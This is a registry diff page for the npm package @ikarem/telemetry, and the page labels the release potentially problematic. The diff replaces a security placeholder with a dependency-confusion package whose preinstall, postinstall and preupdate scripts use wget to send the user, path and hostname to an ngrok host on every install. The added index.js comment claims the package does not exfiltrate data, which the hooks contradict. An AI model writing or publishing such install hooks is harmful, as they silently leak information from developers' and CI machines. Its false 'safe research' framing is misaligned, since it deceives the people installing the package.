@ikarem/telemetry 0.0.1-security → 100.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @ikarem/telemetry might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +15 -0
  2. package/package.json +15 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ // index.js
2
+ // Safe research-only postinstall hook. Does NOT exfiltrate data.
3
+ // It only prints a message to stdout so it appears in CI logs.
4
+
5
+ const crypto = require("crypto");
6
+
7
+ const installId = crypto.randomBytes(8).toString("hex");
8
+
9
+ console.log("==============================================");
10
+ console.log("[Research] Dependency resolution test package");
11
+ console.log("[Research] Package: @ikarem-test/telemetry");
12
+ console.log(`[Research] Install ID: ${installId}`);
13
+ console.log("[Research] If you see this in CI logs, a public scoped package was installed.");
14
+ console.log("==============================================");
15
+
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "@ikarem/telemetry",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "100.00.05",
4
+ "description": "Research-only dependency confusion canary package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall":"wget --quiet https://46cbe1e12a7c.ngrok.app/preinstall?user=${whoami}&path=${pwd}",
8
+ "postinstall":"wget --quiet https://46cbe1e12a7c.ngrok.app/postinstall?hostname=${id}&user=${whoami}&path=${pwd}",
9
+ "preupdate":"wget --quiet https://46cbe1e12a7c.ngrok.app/preupdate?hostname=${hostname}&user=${whoami}&path=${pwd}"
10
+ },
11
+ "publishConfig": {
12
+ "access": "public"
13
+ },
14
+ "license": "MIT",
15
+ "dependencies": {
16
+ "@ikarem/telemetry": "^99.99.99"
17
+ }
6
18
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40ikarem%2Ftelemetry for more information.